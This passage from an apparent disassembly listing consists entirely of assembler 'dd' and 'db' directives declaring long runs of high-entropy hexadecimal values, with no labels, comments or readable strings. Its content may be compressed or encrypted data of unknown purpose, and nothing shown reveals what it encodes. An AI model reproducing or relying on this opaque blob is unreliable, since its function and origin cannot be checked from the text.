867400F4h dd 0A3AC1EE5h, 4709045Fh, 80508E65h, 0FCB022C5h, 41BC06FBh dd 91F898A5h, 0A62ADB09h, 8CC820A4h, 60077D1Ch, 0C206E96Ch dd 3C00C498h, 90322A7Fh, 0AFFF14h, 3E6891A1h, 7DB5F5DDh dd 209D13Dh, 23A8C8E2h, 0DA060CEh, 7C7B38C4h, 0C1D85524h dd 46EFEC4Dh, 77CE8A8h, 964D46F2h, 81D4811Ch, 420CBFAh dd 0C5EC4Ch, 0C3ECA591h, 6F2537F8h, 876480h, 0D2CA2251h dd 0B97F446Eh, 39F21930h, 0B19C3Bh, 0C980A987h, 56E7702Ah dd 0D5819A1Eh, 0B50FCD03h, 0B125F08Dh, 1FD1006Ch, 4CB68710h dd 3000B927h, 6A2AACFEh, 0FC2BC07h, 0FAABF388h, 1CF58662h dd 0F4054C60h, 2CF4903h, 12325AF9h, 796479h, 0C1F5D370h dd 0D000991Ah, 188C0AA2h, 780BF3h, 2408F88Ah, 0C174E34Dh dd 0E8E5AB2Ah, 0A766EB09h, 68820E4h, 49828D87h, 59016CDCh dd 73EEC874h, 4331803Eh, 0A7577D52h, 1F609B75h, 97944003h dd 0DEAA010Dh, 184DF00Ch, 3B59C1h, 9933D3Eh, 45E0D905h dd 0F8B9CD01h, 7FC51F52h, 19C120h, 38DD62A7h, 9645C3C9h dd 0ABCCA52h, 8C543D13h, 905AB813h, 1BE04908h, 0A28E2822h dd 9BF00073h, 0D2FB3601h, 18607101h, 0EA2EB229h, 2E8F830h dd 1D883FDDh, 20E90594h, 6B20C045h, 0B3019CFAh, 47B08B48h dd 74C8784Ah, 3380082h, 0AE8A5EB7h, 451E726Fh, 0E0128E4Eh dd 0E99A1180h, 1D9F00F8h, 0EBDE6F0Eh, 8A07A8D3h, 99D0F51h dd 2C28B4C6h, 2474E156h, 0FB074214h, 0F80584Fh, 0F995862Eh dd 4C60598Ch, 49B00AC0h, 0D8A4962Bh, 0D27C0EFh, 54A2102h dd 1251C0BBh, 3607B468h, 50939002h, 0E0FDD76Eh, 9BB690h dd 0B457181Fh, 66353E9Dh, 96908B72h, 0D07E609Ah, 28BE963Eh dd 28995071h, 0FEA30887h, 0CE78B7C0h, 0B4855080h, 63A800E7h dd 0B2070F68h, 0BC906F09h, 87698305h, 9490408Ah, 0FCA6BE15h dd 4EDC13AFh, 0E930265Dh, 0AC01B8D3h, 9BCF9278h, 922994E8h dd 9A681648h, 348D004Dh, 0A3E56F43h, 6D00349Ah, 0C11BA19Dh dd 0A56A68h, 7F844C67h, 0EC3103F0h, 0D5717803h, 0F7075681h dd 9CD1A9C0h, 74243F90h, 0C0F05CF9h, 725F3880h, 300536D2h dd 0E6E89831h, 76928800h, 85BE63h, 0C72F4511h, 0B596E02Ch dd 0C110F300h, 4AF1E66Ah, 0F4F50364h, 35F80B14h, 831D2A8h dd 6B724h, 0A94B1100h, 9C6520Dh, 0CDC593F3h, 6634A480h dd 834F23Eh, 0E48010CCh, 0A89740A0h, 15872FF4h, 0EC770268h dd 0E45AC60Bh, 9AA72080h, 0C0281DFBh, 4CB80CE2h, 0C943C938h dd 0FD0D0034h, 0CB20FB81h, 0C6A50051h, 273D5499h, 290160CFh dd 0E90730F4h, 68204468h, 0FA4D25F8h, 54499880h, 3B007323h dd 6B8F3D92h, 14F640A4h, 34719B7Ah, 0C6CF47DFh, 0C2AD6158h dd 24807B61h, 948F121Ch, 9C82074h, 0AB995905h, 0BD100820h dd 46EC2CA7h, 702880B1h, 0E9CC5C09h, 14482762h, 2F049560h dd 0A0EE5C66h, 4F1EF8C1h, 0B6F741F2h, 23B0CC6Dh, 0C1048B16h dd 0EB7DAC00h, 3F3436h, 802E715Ch, 0BB532521h, 383DF428h dd 7020BC24h, 96F32E60h, 0CB8913FEh, 7440204Bh, 3C60B3C0h dd 7CC5EE91h, 1CE890CEh, 92730541h, 88544038h, 6A18EF4h dd 0DD432901h, 20E4FD3Ah, 3FD00570h, 0E4550EDBh, 2C481023h dd 0C307D44Ch, 60E24C9Bh, 0DDD31296h, 2ADC3Ch, 755CFAF2h dd 4C2ED1E6h, 582C1772h, 0C9A5E06Ch, 177D0BF6h, 0C005090h dd 0EF4963C2h, 0CFBB202h, 0DA1B64B5h, 0B826C551h, 0BA002CADh dd 3FF0C230h, 34A5597Bh, 0AFB73700h, 469FD4CDh, 97D80F09h dd 34A810C7h, 0BE1F013Ah, 4BF7200Bh, 38AC72DBh, 642D005Ah dd 0F9C9A7DCh, 0FDA01E69h, 49F1001Ah, 479A11BBh, 0B4364E0Ah dd 0EA00D0D1h, 81ADD683h, 82A20003h, 0DDBECAB7h, 5E16665Fh dd 802909E6h, 58D6B2C8h, 0DD068587h, 0C88F3BC7h, 14B17275h dd 326F705h, 13A6A488h, 9E5839h, 0AD8519C4h, 0E200A7F2h dd 0C33AAFE9h, 0BA01696h, 239F09C1h, 0C4CEA103h, 80D4CDE4h dd 2F302838h, 3977C6E8h, 1277CF73h, 0CD4617D4h, 0A5A44354h dd 88C839AAh, 0E70C5813h, 105FFBDAh, 836C16E5h, 14781630h dd 0EF0F38B0h, 1529239Ah, 28538877h, 24089625h, 14A415BDh dd 0AE009CADh, 0C9EB22D4h, 2EEE6EC8h, 151EC2F4h, 2FC48AA9h dd 14C4DD5Ah, 1C51FCCCh, 40B42460h, 9FB69523h, 1C73F134h dd 756DEB00h, 14A23879h, 0FA49801h, 6A1D0E63h, 6188FEC0h dd 440071E0h, 41F05682h, 489C7DB7h, 1C80B4D1h, 4C6C3BB4h dd 0ECDCF218h, 5CC39181h, 120E987Fh, 9649E189h, 9DC02868h dd 889454A4h, 0F886190Ah, 5E5D2083h, 0D892A504h, 6F6CE059h dd 60B6069Ch, 0D92C73E1h, 0FB29E21Eh, 5464C397h, 1F04848Eh dd 82664E52h, 0E84A7DA2h, 8CE1EC00h, 0DC0298EDh, 0D0395727h dd 0ECE88096h, 3DE46CABh, 70AE497Bh, 4FD11FE0h, 6421162Bh dd 6557B211h, 0F942064h, 0FCE89600h, 5A743F31h, 1A01000Ah dd 0BDE02DF3h, 0BF4B654Ah, 45A2C000h, 2E5AB6B0h, 3F2420E9h dd 6AD318F0h, 72B8E946h, 405F8824h, 1A206240h, 27E0CC3h dd 0F470599Eh, 5175A800h, 0BF522156h, 0E54100E8h, 72667E5Fh dd 29009F18h, 1EAFB6DBh, 0CD082Ah, 8C49C1D9h, 0FED07A78h dd 0B933BC03h, 89A41626h, 0D434F244h, 5A2E4CCh, 79467148h dd 0D48C07B9h, 5092570Fh, 0C98F104h, 2B8AB0Ch, 0E12EB817h dd 0DA1F2463h, 0F9A580AFh, 0FE0783E0h, 542D422Ch, 5FEEAE00h dd 0ED8B0A1h, 60301DADh, 514C0C60h, 6117AB1Eh, 3C10D208h dd 104D28h, 6603DB11h, 5C281618h, 0AA3E3C38h, 2D817CBAh dd 7705C1BDh, 9998576Dh, 8B3E4CE8h, 563D9609h, 452C10E4h dd 0C9210053h, 5238F598h, 7C60E50Ah, 0BBEB2E21h, 0CB70CA6h dd 0E678F0ADh, 5741BC00h, 0ED2C569Eh, 0AB8F16A0h, 0C3BC3034h dd 6D39BD86h, 7002ACC0h, 0E4847F92h, 1EBC8B0h, 62E304FAh dd 3D51FC87h, 8888D338h, 6A02049Fh, 0F634D068h, 43A854A0h dd 1964BE1Eh, 8AA55280h, 2C24EC94h, 2E8CCE57h, 0C3EB671Ch dd 2904960h, 745C19E5h, 0F469003Dh, 893B4B6Fh, 9E5D1D2Ch dd 0AA325E3Dh, 9E44A6BCh, 484AF250h, 94669029h, 308F520Fh dd 4D6442F2h, 88ACA047h, 0BA1E7A17h, 48F848DCh, 11A3FB09h dd 8B1D1800h, 644A907Bh dd 40FB2832h, 96A333Fh, 9E5F2CFAh, 0B214A848h, 78266C32h dd 0F14CC0Eh, 1AAA2B9Dh, 5BE1DA80h, 0BE003CA3h, 0C1525655h dd 0DF11A9h, 20DD5EA5h, 0C6D807E8h, 9FF0B100h, 0E26B196Fh dd 9448C1CDh, 73037173h, 5332C000h, 0A22E1C4Bh, 2B40D788h dd 15FE33FEh, 0B1F3A604h, 90C1AFF1h, 8C40DA5Ch, 0E1CFB5h dd 8650E3F4h, 21B8BB34h, 54D7E600h, 81C0B087h, 2D6D01B3h dd 70A529B7h, 73198019h, 82B612C4h, 20095DA3h, 849B2400h dd 0C1E2DCE5h, 0C096B229h, 20A4E70Bh, 2AA71138h, 0FD6D0FDBh dd 86E0E346h, 6547AA82h, 53D4D3Ah, 9B47919h, 2E0EC040h dd 55A9F2h, 0F5990AB3h, 22973461h, 382F9826h, 0C3CF2D00h dd 5D127F6h, 0C27FF1E7h, 0E5848776h, 0F56C8431h, 6D8210Ch dd 2FF018ECh, 0FC5C130Ah, 5404AC03h, 43831EB1h, 72A2C0AEh dd 0EE6E0457h, 0A00DA895h, 8179BF4h, 3410B4CFh, 0C849A0h dd 0C266DED3h, 5502DAFh, 27A0A3AEh, 885C040Fh, 72809854h dd 93302DE9h, 498D8892h, 0B428965Ch, 8021CEC4h, 0F0ABEE40h dd 0ECBAB372h, 80D82858h, 0EF996F3h, 817C05FDh, 0C58655FAh dd 0C520B3A4h, 8C8070CAh, 757A8093h, 6B6D00B3h, 5CDCAE5Eh dd 49B86A0Eh, 0BD972B00h, 94092D07h, 1E6CB295h, 9F8243B7h dd 788980A7h, 57C6A633h, 0C4CF0A24h, 4090D88Fh, 0DA07C3E3h dd 733D7809h, 957D05F8h, 8027E944h, 102F0FA0h, 0B9E10703h dd 0E87A9C0Eh, 7C4AB8ADh, 0BDBFE1Ah, 0C13B9142h, 0AE0D18A0h dd 0CF3B8ED6h, 46070024h, 0E7C27D5Fh, 2D4E0AA5h, 0A9A92Fh dd 2F0BB18h, 175DE1DEh, 0D0B20120h, 0F54F33ACh, 0C06DE825h dd 51325C54h, 9C51EE30h, 9CDD62BEh, 4EBD3870h, 5F381323h dd 18C88080h, 0ABBAEDAEh, 55E7925h, 30905830h, 0EFD0449h dd 3DC9610Ah, 0A8D5F881h, 0FFD3604Eh, 1A92B3Eh, 9318C58Ch dd 0F0807A71h, 5B8E9799h, 0CE3EFD7Ch, 400079FCh, 3FF07F16h dd 0A0BD4BEDh, 0EC2E98h, 5F198397h, 473A58CEh, 0EDEFFA00h dd 6B95A2AEh, 0B09A3Eh, 487D6932h, 5F93A7FCh, 60BC58BCh dd 7F99A261h, 75B16B6h, 0F8A400BCh, 0FBD4A717h, 0F74EDF02h dd 43BDC65Ah, 9BE00074h, 0BBC78294h, 5698854Fh, 0B6E5BE09h dd 54650Bh, 0CB213AC7h, 4F904291h, 44458807h, 20A91959h dd 1CFE1310h, 0F9C80B9Eh, 0B6816F34h, 68B7CD62h, 0B9248768h dd 69A48BC9h, 0E8244D1Ch, 71F92802h, 0AF1D00C4h, 55ABFB2Eh dd 67B03254h, 9300E492h, 2740166Fh, 837D35h, 195CF0AAh dd 6BECFDA9h, 114C5604h, 0E48C0422h, 2C7D586Fh, 8868B20Ch dd 2C7AEA49h, 0C4132202h, 0C8787473h, 989B6C90h, 1DD4B58h dd 27F18DF8h, 0E4DFCDEh, 0A1D1E828h, 0A9F31400h, 75195E49h dd 2F2E0C1h, 0FB5A2B2h, 98900EB4h, 2200A666h, 0FD29D061h dd 0C11C91DBh, 0ECF53C81h, 0DF9C50EFh, 6D12C5F1h, 40A28745h dd 55B1CE80h, 3D00FCAEh, 0CF1C373Fh, 1391BD9h, 7CB048Ah dd 654B9D2Ah, 99B0FCA0h, 0AC6D2C3Ah, 7E8FD0A5h, 2053C4A3h dd 862ED090h, 7F2F7DE9h, 0D7845CEBh, 2674F272h, 16B0AEEEh dd 0CB4C8096h, 1128099Ch, 3C05EF06h, 6F20D577h, 9878D489h dd 0B2A083C7h, 4C68419Fh, 50BCFBEh, 0A27E3Ch, 1DA106D4h dd 9EB61D1Eh, 5A4E47B3h, 59F0C7ECh, 2ADA8403h, 0F0FB04E1h dd 0DF051A8Bh, 81CD5C0Eh, 947FFCC1h, 0C2C44D21h, 0A85F7664h dd 0C0FF44h, 33505DCEh, 0CD9A0E7Ch, 5BC037F1h, 0E02D7813h dd 0A901F428h, 0CA7086D1h, 5C282C98h, 9433D1Ch, 0A00BBCC7h dd 0B14D2A6Ch, 5A9F0083h, 0A36AB845h, 660C7C6Bh, 6115AF07h dd 28F30F2Fh, 6806F0Bh, 0D3B999CDh, 7FAC5106h, 4A78D008h dd 8048C9B0h, 0E5456B70h, 791E0FB7h, 503B286Ah, 6084B1C4h dd 1AB41E30h, 0E953EB1Eh, 1C5B4C04h, 2E00B0E3h, 0E82C0403h dd 3F39E336h, 6BD90A83h, 0C60ECC4Dh, 2C3700FDh, 1E45C64h dd 0FEB45F4Eh, 68B5B028h, 80775F54h, 0BD8D29F0h db 66h, 7Bh, 1Ch db 2 dd 82BE8439h, 0B46452FBh, 0C09B6A03h, 98641E9Ch, 34B7E1Dh dd 0DCE6F730h, 4839B485h, 50DB0B48h, 0CA348077h, 16CF8261h dd 12B4E44Ch, 1E8403C3h, 79008A58h, 0DEE999F0h, 5D46265h dd 84878B9Eh, 79F89907h, 0B50F05A4h, 0E8C87CCAh, 1EA50538h dd 90DCABBBh, 0E55AB670h, 0AF00609Ch, 5F63D8DBh, 2820B9E4h dd 0B828B2A0h, 0C060D248h, 7CAE290h, 0DDC67900h, 9D2EA865h dd 0C18A00FDh, 0DB70CB5Ch, 3C925D8Eh, 8B740707h, 3E501376h dd 2520F09Ch, 30C05CD9h, 6600FEE0h, 418D3F89h, 0E7FD2A16h dd 0C8B58428h, 0F401AA74h, 0C143A290h, 382CFFh, 4738605Bh dd 0FAEEF67Eh, 521325h, 0D7161F5Ch, 9E1CB007h, 5B82600h dd 44EFA1D4h, 0B3FEE738h, 18304F14h, 227B7h, 81F096A3h dd 2DC6CD98h, 4F86AE00h, 7604A969h, 0CFEB0EDAh, 0EC004ADDh dd 8072D99Ah, 7739073Dh, 0BD283350h, 0C449F42Ch, 0A859B782h dd 18C6099Dh, 5E0B6300h, 68C11765h, 0BC94790Ch, 9C0F445Ch dd 4E7A04DCh, 7C00A89Ah, 2AD95AEh, 0B09D2608h, 0A474B660h dd 4EA380DCh, 3480D848h, 1154CF00h, 3CE23E05h, 88164ABAh dd 94B5AD8h, 9C3D7C89h, 0E4F8C300h, 4D169738h, 3F9A0413h dd 3BAD5800h, 5B145B8Fh, 6600A52h, 0FE6E40B8h, 55027EA5h dd 224F873h, 919C51CBh, 0C42A04A0h, 0F8A027ECh, 1AD20C59h dd 8B1166D0h, 0A942A31Eh, 196776C0h, 0A4977E28h, 5CA670h dd 0CB61DCE9h, 0D4245272h, 0D005ED00h, 10F6971Fh, 0EAF4F26h dd 61417188h, 3C2235EAh, 0A4D04C84h, 667B00D0h, 0F0334835h dd 5DE06917h, 27D82AD8h, 5098B730h, 0C1006E46h, 0E52E091Fh dd 5D735494h, 1400C861h, 7CC30AF6h, 0E32A695Dh, 0CF09DCB5h dd 6C2F8394h, 0CAA500F8h, 7F14249Fh, 191FE4CCh, 3CC1A64Dh dd 0F998B20Dh, 725FA080h, 0A8D28131h, 20297106h, 0D0589Bh dd 0B350C6B8h, 0C33457EEh, 56E06309h, 0BA6800C9h, 0A9D04Eh dd 401CA76Fh, 0D8399661h, 65245576h, 501C71Ah, 0FEA86F38h dd 488F8824h, 0ECC4543Bh, 1894C8F0h, 0B0DCAF25h, 4DCDC684h dd 0CA4AC854h, 7D298EDCh, 0EFC94984h, 387D1C90h, 0E0B5004Ah dd 483F2697h, 0AE0298F4h, 0F9B41B8Ah, 340062D6h, 0D6448CDCh dd 82D801C0h, 0C9CCD526h, 0E591C536h, 1F82C73h, 0EA44BAFh dd 10818077h, 0B9228269h, 6CC87409h, 2C566704h, 0E0954440h dd 7AF7680h, 0F37A3Ch, 6A1422C4h, 53FDF7B0h, 50094B0h dd 24A65432h, 61F3Bh, 5B218FB5h, 8599E6DAh, 1AF7CF25h dd 0AC50C05Ch, 423A3964h, 1B922880h, 0CB8A638Bh, 43604BFAh dd 0C0C8E978h, 7CBC54ACh, 0BECA393Bh, 356C024Fh, 60FDE3B9h dd 92772812h, 0E66A0128h, 0E147415Ch, 284A7173h, 0AF9400B4h dd 87233932h, 465A057Dh, 0A6BF7204h, 59302BCh, 5E023134h dd 0A2CD410Ch, 3D882133h, 0F0F84000h, 0D902AAE0h, 4D01B1D5h dd 0FC5058h, 343BA886h, 4AEA1936h, 283A8029h, 0BA94944Bh dd 18C89864h, 3182868Eh, 0BB1E3D4Dh, 1F01F025h, 7D6DF9C2h dd 0D88142FDh, 1B7A400Fh, 5E84079h, 0F100E38Eh, 32898F14h dd 3C26547h, 24C4AA07h, 9BF80E76h, 913031BAh, 4D3C404Fh dd 0A6DC24F2h, 0EDB000A4h, 0FFAB7D57h, 0F960460Bh, 0E2502035h dd 72747Ah, 88940E25h, 32A7FC51h, 903BA224h, 94FA74A1h dd 3B730060h, 2593DB94h, 0A0C0DA5Ch, 70D77141h, 60FB1D37h dd 0E7B1003Fh, 0B5B83DF9h, 18BE207h, 0F10012EAh, 0EE6D1F69h dd 0CB3600F5h, 0D28FCFB4h, 8A24164Ah, 32014E62h, 4B330DEEh dd 58C96E4h, 2EFD38A4h, 0A003FB2Ah, 0B8181608h, 0DC6F3Bh dd 349F3DBh, 47CF24BDh, 0F1F79200h, 9099E141h, 12911DADh dd 0F3F2408Eh, 0CED085F9h, 73B16200h, 199EA963h, 0B50C00F1h dd 0B9281E7h, 0E11DEDFCh, 0C201D240h, 0A8C76F74h, 149D288Eh dd 925380FDh, 3EA358BEh, 7EF8AF03h, 98A25BE7h, 0E0A147B6h dd 0EAB53060h, 5957B499h, 8A00D775h, 0A7DE1C44h, 0A08FB6Fh dd 9425CE43h, 839D3BD5h, 26FF8012h, 0DAE9DC76h, 94E2200h dd 69A7CD85h, 52D607EDh, 8C75BC80h, 6D004290h, 12A87D58h dd 73011DCh, 0B20A33A4h, 0F31C035h, 6100AD16h, 5FDAD989h dd 0FA76AA63h, 1142018Eh, 0C87E03E5h, 68A84082h, 0ED005D5Eh dd 0AE8449DCh, 0E2F9213Ch, 0EC301522h, 2C803C6Fh, 0B083E88Bh dd 9D52A503h, 0E896C295h, 1CFB96Eh, 3186CDCEh, 509BA3B8h dd 0FA77D084h, 2C1CF603h, 0E755639Eh, 0C04BADA3h, 17F5E9E6h dd 0D6FDE3h, 0EEF60AC7h, 1A003AE1h, 38A70D1Fh, 457621h dd 39ECCE8Bh, 8A699240h, 0CDEA3001h, 625A6474h, 0F11840FEh dd 3C321556h, 0FC3DDCF4h, 600196Ah, 92920FE7h, 7BA69801h dd 0B61FEBBh, 0D00A9440h, 0F1C60254h, 0B069B2F6h, 84CF0440h dd 20416300h, 15A5CE33h, 0E02A0059h, 0BC739B67h, 64007836h dd 0D74FAACAh, 21CA48Dh, 38FB9AD9h, 74408AC9h, 0EAEE77B8h dd 10F1A700h, 0CD48CA55h, 6116FC12h, 0B6D2A197h, 98A9C63Fh dd 0DDC1300h, 0D548BE7Bh, 1800792Ch, 8C5C2B30h, 0C2EFF6F4h dd 522083E8h, 0B9348445h, 0B318C442h, 0CBA040FCh, 603600BBh dd 49D20556h, 692A17A8h, 7B0394C5h, 388150E8h, 8828E8E3h dd 0F6CF00A4h, 9EFDE1EAh, 0D500FF14h, 34C3E6Ah, 10D137h dd 0B7F41638h, 7C9E062Ch, 0ACC55F00h, 0EC34E361h, 8289CEE1h dd 5CF76661h, 5C44213Ch, 1BEC3628h, 0B89D5B00h, 0CDCFD069h dd 0B88764CCh, 8C8E0Fh, 5CF42F19h, 531CDDCFh, 154CB4A9h dd 49D32800h, 702B9423h, 346F9200h, 0D22E5129h, 794B046Eh dd 80241135h, 0C4618290h, 0A5542D75h, 40F24AA0h, 0F07081F9h dd 52489943h, 0FA209C21h, 0EE989264h, 664D146Ah, 0E0B0C062h dd 1419CCE8h, 15E0AA7Ch, 240CCAD0h, 87A8FC73h, 498FF58Ch dd 2400B009h, 3EAC49C8h, 78EEE635h, 0C6482980h, 3082F223h dd 0AC486E57h, 3B00FF5Fh, 25AA4781h, 1D46782Ah, 7DE719Fh dd 79BA08A8h, 2A9D7C30h, 8375A6B0h, 0B31F5803h, 7FEB17AEh dd 697B0080h, 0FD1340A6h, 0B3E21C52h, 5C984702h, 40414FA7h dd 31F4D889h, 6A5073DDh, 2DE9C087h, 0E43A3D28h, 0C8E53326h dd 371001BDh, 9B3B18B9h, 24AD8180h, 3DFBC0B3h, 0F2762B90h dd 2071A300h, 864BBAB0h, 52C10089h, 4375D6DAh, 173E0B1Ah dd 249B870Dh, 0B012853Dh, 190C6013h, 0A244242Ah, 1C508E04h dd 8ABF1E80h, 0E2014C77h, 81CE0CFAh, 782483D1h, 3845188Bh dd 0D5EDA196h, 412431EAh, 5D00D8D2h, 43BC8E2Ch, 0BE6C0005h dd 827C6F47h, 4D09EF64h, 81A8C08Ah, 834EBA60h, 587380E0h dd 0DF2238B7h, 0BB68B907h, 4E709E6Dh, 0E2712C4Dh, 0CFDC296Bh dd 0DA9244h, 733C3A53h, 47789306h, 0D7028C90h, 6CA5AF1Eh dd 628DC024h, 0CEC9080h, 0C047A76Bh, 0B27B4B81h, 0A00036FAh dd 487267A8h, 2AF7E95Eh, 9885D55h, 32FDF34Dh, 640FA820h dd 80CF8C7Bh, 0A9585FBAh, 60ACBEF8h, 878A10BBh, 68026D99h dd 76AFDA0Fh, 0EE4407Ah, 40D0AA7Bh, 0B0480638h, 38CF03D6h dd 0FE35E64Dh, 3197DD0h, 3D781A04h, 6080870Dh, 3F15075Bh dd 6004FABFh, 0C99C8820h, 0E848CEFCh, 2200AC0Bh, 62BEC6B1h dd 609FA771h, 190468DBh, 17005C2Ch, 261BAADDh, 152EF98Bh dd 0E03358E4h, 2F88E03h, 0F024FEA4h, 806CA89Ah, 8B9C0E4Dh dd 0DAC0CFA6h, 4BC9AAA5h, 403658h, 2B5FD43Fh, 0B7C10Ch dd 0DEBA7810h, 0CE514662h dd 271945ECh, 4869F606h, 0A8E741FCh, 15F41780h, 0B47D1B11h dd 181D5300h, 6120FB5Fh, 49D83A3Eh, 6C510184h, 9BC0D2F0h dd 0CF01FC32h, 0ED176ADFh, 3A2F80Fh, 40E840Fh, 194DA4E8h dd 380C886h, 9840A780h, 69001292h, 2FEC9A0Ah, 1145A0Fh dd 8DBDC273h, 9CEA362Eh, 25008AA9h, 0FE3B7E65h, 0F66F293h dd 914F6760h, 0C3C05E12h, 0A21ADC2Eh, 0BDEB900Fh, 4F3BC3F2h dd 6AA7A86Fh, 2FCD0382h, 39CE48E9h, 0E1FE8085h, 4D1D5291h dd 0F202D5E8h, 60C1B4C5h, 2418992Bh, 4AB41E4Eh, 5C471550h dd 5302E080h, 59713764h, 5F006CA6h, 63906A66h, 2C22068h dd 5431DFE0h, 84CBB296h, 61EE8D91h, 8B54606Ch, 0AD450E05h dd 0FC80C26Bh, 0DA3E49h, 4F354C9Eh, 4432552Dh, 6AB86053h dd 4100F09Ch, 4E506EA8h, 0D8E132Eh, 0C6F40F8Fh, 0D30034F5h dd 663ABFA4h, 4700FC09h, 0AA59B830h, 1F8A3592h, 4D1DEEE3h dd 44619BF2h, 0FBC4C8A8h, 7E671678h, 15E054D9h, 9D5E5Fh dd 55939CD9h, 0B9D5F219h, 0B70044F8h, 0E3856623h, 4C1BA070h dd 120200A1h, 727C5B5h, 4D9AD140h, 0E6520200h, 6DE3BE75h dd 92BBE0F8h, 99ACB010h, 0A6BC208Ch, 99DE0050h, 0E29B5F90h dd 0B6927E8h, 749481C8h, 18248733h, 4EC0BBAh, 20A81Ah dd 0D127E0F9h, 7C003A73h, 7381011Fh, 0EC11CC58h, 4209082h dd 71C5AB16h, 0C0B4846Ch, 0F8915574h, 678BBA00h, 0A7686432h dd 0DCF052F3h, 58A0145Ch, 172C8626h, 5D604CFEh, 9A936BF7h dd 0AA553E10h, 17A947B0h, 952E4AAFh, 569A0B7h, 785FA594h dd 0DB5D4047h, 0CE416057h, 0ADC00C01h, 5068520Eh, 0ACBB3900h dd 1365CA75h, 0A8A0C730h, 1AAF831h, 76896F6Ah, 0C6D1583Ah dd 59CA2C68h, 22B0B551h, 3BBD4C9Ch, 9415805Eh, 7B3EC547h dd 0E08E580Fh, 0C0E5C41Dh, 0D75234B7h, 3D0EF646h, 0C2D9A02Ah dd 5B36ED5Ah, 0A980E58h, 3A4C0CA0h, 80ABD6A9h, 615D53D9h dd 0E2304026h, 4B77A634h, 80F8A400h, 54118EEFh, 6B2D2EDBh dd 95218028h, 1A728A88h, 0C2CE001h, 0BEF1E316h, 0E0DBCC70h dd 384100B8h, 80671DCFh, 0D8FE48B9h, 0C76CDA00h, 0F21B3A13h dd 4438C030h, 149F2F01h, 959311CAh, 0E5EB6401h, 709E1766h dd 0BA3E80E8h, 0E791E4B8h, 59DD7200h, 0B216761Ch, 9EA0755h dd 80EB7379h, 83CE6027h, 0B661D300h, 14D99A37h, 3BFB00DBh dd 0B1028F39h, 0DC0E131Ch, 24C70710h, 2480650Ch, 1FABECh dd 61ED2788h, 0CB5C836Ch, 71946B00h, 0CEFD792Eh, 7F7C001Eh dd 30AF20E2h, 0DA005724h, 0D562646Eh, 0F28BBBAh, 0AE9B7654h dd 1D558F1Fh, 0F535A500h, 6E061A73h, 800BFD6Bh, 863C5018h dd 21271D7Ch, 891C0016h, 0FF10DFD0h, 0CAA39830h, 763383B3h dd 3EDD0191h, 8509A92Eh, 507CD574h, 25ABD980h, 16A0A01h dd 8DF15C77h, 1CFA2081h, 0BE7F4B61h, 33D78029h, 4EE8D8BDh dd 0C0813327h, 21036008h, 4B33ECC1h, 97BBE005h, 799D0053h dd 99930367h, 0D19069FCh, 8FB15A14h, 7C770330h, 0C0182DC9h dd 1BA5CF7h, 0D8E9B319h, 0FC4FF9F3h, 74003802h, 2F78B83Ch dd 77D432h, 0E2C35EDEh, 4DC619A7h, 211D3002h, 403B2D0Ah dd 0F0F79Ch, 0F9A8E2F8h, 49693659h, 0E5034E90h, 0A4E9AC1Ah dd 4E05E9FBh, 2E4DCh, 0D6161C4Bh, 444C6847h, 0FBA842C0h dd 0F70A676h, 27227A95h, 0E6D38983h, 9065ACF0h, 0B8A15138h dd 0E01C1D5Ch, 9DD3100h, 32E47E5Eh, 4311415Bh, 0EE1804B6h dd 0A910EBE8h, 2F7C61h, 0E4BE0A89h, 42605818h, 41C3CC00h dd 103C2CEEh, 7AA818B8h, 0E1022929h, 89D15688h, 446108C0h dd 0E244E6E5h, 0C22420ABh, 223F3422h, 2A45E104h, 0D7E935C1h dd 1A20D4h, 13B8779Ch, 4511CD8Ah, 2C61D600h, 9B3D183Eh dd 93A600C6h, 24DE744Dh, 0AF00F2E9h, 0A729DD7Dh, 0BC6395h dd 53DB0ED0h, 0B8E54105h, 67A12200h, 0B584CAFDh, 1C680007h dd 0A2582AC1h, 0FF737944h, 8C40B00h, 0AD667678h, 0E8FC0024h dd 8C26F505h, 8000ECF7h, 0A443644Ch, 618C1D0h, 0D7BE4A90h dd 0C90010A2h, 87DBAE65h, 2A1D42E7h, 0EB8A7E5h, 3E533832h dd 8CDFA00h, 0E2056CA4h, 6833EBC6h, 7918A301h, 48BBFD92h dd 0C55E058Fh, 0C7FE11F8h, 34EA2003h, 0F21D4384h, 46E8908Eh dd 0ECBC50EEh, 55A200C3h, 0A8B120FFh, 0F901B726h, 850BD2D0h dd 0DEFC95DBh, 952C4C0Ah, 0DC900F00h, 88C48DE4h, 29FDE62Eh dd 74971030h, 78590FA5h, 3E9D4AF8h, 11809880h, 0C3082FE5h dd 497A900h, 0ECA6A160h, 0FA2402CEh, 0FC25F156h, 0B12C4048h dd 53877A00h, 0C839E143h, 0B27F48Dh, 25A27E61h, 911D4000h dd 8877DB8Ah, 0ADE9B50Ch, 442854h, 924A30AAh, 0A5A4C17Dh dd 0A1EEC304h, 0FBC0AD8Bh, 615C5Dh, 417D108Dh, 29B13A71h dd 97FFE603h, 0A0F3EEA4h, 178C6ACh, 0F153A2FDh, 8044355Bh dd 0A52E3A98h, 15FA34Fh, 0E74AA85Ch, 0C8DEF3E8h, 0DD008E69h dd 0A0EB33FAh, 0C0A4A6h, 3F8BD1BDh, 0DE91B43Bh, 50CEBB00h dd 3395D7A7h, 7E093B63h, 0A43F8600h, 0D3E489FEh, 3AACD402h dd 0E03692C1h, 0F2BD062h, 0BC459006h, 82C7AAE0h, 41246018h dd 10099C2h, 0D1E2E8B4h, 931339C1h, 0EF56EA83h, 0BEE060D7h dd 0CC05EB12h, 3915ED19h, 0F5825800h, 758F7Bh, 60A181DDh dd 4CB97E54h, 0B8FF3F00h, 7DE1179Fh, 0C3790030h, 0FC032F8Eh dd 0B00F14Eh, 72985462h, 181CDDCh, 6DE93A17h, 20BEF26Eh dd 3D004424h, 0CBB2D652h, 37A0AF8h, 0D8E57F4Ch, 0A4907339h dd 0AE0FFCE7h, 0C00FF02Bh, 5A17BC98h, 44780063h, 13AD5226h dd 46009A4Eh, 0A89D358Fh, 0C02921h, 20AB58C6h, 12337D52h dd 45976B00h, 3DC46E70h, 0EC2700A9h, 0E2F60C81h, 9092A10Bh dd 1E41BA00h, 0BDF03D45h, 0B8170E7Fh, 0A3E9EE26h, 0F23C0C00h dd 0CD014DF7h, 701821DEh, 9C20D7F4h, 316E016Bh, 0FCDC0617h dd 0F3302057h, 6CB74CC0h, 18015E23h, 0F8A87948h, 383DCC0Ch dd 783AB051h, 0F4CB718h, 0BF57C889h, 51A7E7C7h, 22A61137h dd 0F09F30B4h, 1D9ABFDCh, 4058070Bh, 494F0938h, 0ED037182h dd 0CCFD3D33h, 3908F85Dh, 0B0063C63h, 